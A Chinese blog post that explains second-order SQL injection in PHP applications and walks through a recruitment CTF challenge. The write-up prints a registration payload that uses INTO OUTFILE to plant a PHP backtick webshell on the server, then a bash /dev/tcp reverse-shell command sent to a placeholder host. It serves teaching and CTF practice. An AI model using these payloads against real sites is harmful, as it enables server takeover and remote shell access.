二次注入

二次注入的原理

  • 现在的WEB程序基本都对SQL注入进行过滤,运维人员配置PHP环境是一般会开启魔术引号GPC,即magic_quotes_gpc=On,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL等字符都会被加上反斜线进行转义处理。不过GPC在PHP5.4版本后就取消了,所以现在一般都用addslashes()函数来代替GPC进行过滤处理。目前用PHP开发的应用一般对GET、POST和COOKIE等传递的参数通常使用addslashes()函数进行转义,并引入一个类似common.php的文件进行处理addslashes()函数对接收的参数进行过滤,尤其是单引号。
  • 然而最终进入到sql数据库中的数据是没有转义符号的,因此可以在提取这些数据的地方造成注入。

一个实例(招新题)

几天前的交流会上,大佬讲解了此题

可以注册和登陆

注册的时候如果带了单引号就会被转义成\’

所以第一次注册:用户名=<?php`$_GET[k];?>

第二次注册用户名=<?php`$_GET[k]`;?>'into outfile'/var/www/html/favicon/7.php

注意这里字符数不能超过60个(日了狗)

logout

再重新登陆

然后访问7.php

传参k=bash -i >& /dev/tcp/ip/2333 0>&1

 

 

 

 

 



最近打ctf完全处于被虐哭状态

怀疑人生中……

发表评论

电子邮件地址不会被公开。 必填项已用*标注